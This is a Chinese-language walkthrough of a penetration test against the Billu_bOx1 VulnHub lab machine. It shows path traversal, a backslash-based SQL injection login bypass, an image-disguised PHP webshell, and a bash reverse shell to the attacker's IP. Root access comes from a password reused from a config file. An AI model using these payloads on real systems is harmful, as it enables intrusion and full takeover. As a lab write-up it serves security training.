本文记录了Billu_bOx1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。
靶机下载链接:https://download.vulnhub.com/billu/Billu_b0x.zip
靶机名称:Billu_bOx1
测试时间:2026/3/27
注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501
一.概述
- 查询攻击机(kali)IP:
bash
ifconfig

得到攻击机(kali)IP:192.168.253.166
- 查询靶机IP:
bash
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.178
二. 信息收集
-
- 扫描全部端口
bash
nmap -A -p 1-64000 192.168.253.178

得到开放端口有
22:用于ssh登录
80:网页默认的 HTTP 端口
-
- Web网页目录扫描:
bash
dirb http://192.168.253.178 或者
dirsearch -u http://192.168.253.178 -x 404,403,400

有许多目录,待会我们再仔细看看
-
- web指纹识别
bash
whatweb http://192.168.253.178

-
- 打开网页收集信息
直接访问192.168.253.178

一个登录页面,add页面则是上传文件页面

试了一下上传不成功,可能要登录才能成功
访问test目录页面

他说file参数为空,所以我们尝试文件包含,
访问http://192.168.253.178/test?file=../../../../../../../../etc/passwd没回显,改成POST方法才行,我用burp改成POST成功回显

或者用curl --data "file=../../../../../../../../../../etc/passwd" 192.168.253.178/test也可以回显

- 打开网页收集信息
不过没得到什么信息,我们看看初始页面源代码
bash
curl --data "file=index.php" 192.168.253.178/test

对源码审计发现登录页面过滤了单引号,既然知道源码我们就去进行sql注入,输入用户名:or 1=1 #,密码:\(因为\'会被转义成字符,所以根据源码sql语句select * from auth where pass='\' and uname='or 1=1,其中\'被转义为一个字符,所以分为pass='\' and uname='部分和or 1=1部分,所以恒真)即可成功登录

这是登录后的页面,我们尝试上传图片马,创建一个.jpg文件然后编辑内容
bash
GIF89a
<?php system($_POST['cmd']); ?>
注意要post方法才行,我最开始用GET是不行的,然后点击ADD USERS上传就行了,用burp抓包,把底下的load=show&continue=continue改成load=/uploaded_images/8.jpg&continue=continue&cmd=ls即可执行命令

那我们就把cmd命令换成反弹shell命令即可(记得进行url编码)
先在终端监听
bash
nc -lnvp 1234
然后更改cmd命令
bash
bash -c "bash -i >& /dev/tcp/192.168.253.166/1234 0>&1"


监听成功
三. 漏洞发现与利用
Web漏洞
漏洞类型:文件包含漏洞;sql注入漏洞;文件上传漏洞
利用过程:
- 文件包含查看初始页面源码,知道初始页面存在漏洞
- 根据源码进行sql注入成功登录
- 上传图片马成功执行命令,进而执行反弹shell命令
四. 权限提升
获得一个交互性更好的bash
bash
python -c 'import pty; pty.spawn("/bin/bash")'
用id或whoami查看自己身份

查看内核版本
bash
uname -a

查看当前目录
bash
ls

进入phpmy目录
bash
cd phpmy
再查看目录下文件
bash
ls

发现数据库文件config.inc.php,我们查看文件内容
bash
cat config.inc.php

得到一个用户名和密码,尝试登录
bash
su root
输入刚才得到的密码:roottoor

成功得到root权限
五.总结与反思
本次测试主要难点:
-
代码审计与 SQL 注入绕过:通过文件包含漏洞读取 index.php 源码,发现登录逻辑中过滤了单引号但未过滤反斜杠。需要理解 SQL 语句拼接方式,并构造特殊的用户名 or 1=1 # 和密码 \ 来绕过验证。
-
图片马上传与命令执行:登录后找到上传点,需要构造包含 PHP 代码的图片马,并利用 POST 参数执行系统命令。
-
配置文件中提取密码提权:获得低权限 shell 后,在 /phpmy/config.inc.php 中发现数据库密码,并尝试用该密码切换至 root 用户
学到的技巧:
- 文件包含读取源码:巩固了利用文件包含漏洞读取 PHP 源码的方法,为后续代码审计提供基础。
- SQL 注入绕过技巧:掌握了在过滤单引号的情况下,利用反斜杠转义和注释符进行 SQL 注入的方法。
- 图片马制作与利用:学会了制作包含 PHP 代码的图片马,并通过 POST 参数执行系统命令。
- 敏感配置文件信息收集:提高了对常见配置文件(如 config.inc.php)的敏感性,并懂得将数据库密码尝试用于系统用户提权。
- 密码复用提权:理解了在多个服务(如数据库、系统)中使用相同密码的风险,并利用该弱点完成提权。
该靶机漏洞总结:
本次渗透的入口是 80 端口 Web 服务中的文件包含漏洞,通过该漏洞读取 index.php 源码,发现登录页面的 SQL 注入点。利用 SQL 注入绕过登录后,在文件上传点上传图片马,并通过 POST 参数执行系统命令获得初始 shell。随后在 Web 目录下发现 phpmy 文件夹中的数据库配置文件 config.inc.php,提取出数据库密码(同时也是 root 密码),用 su root 成功提权。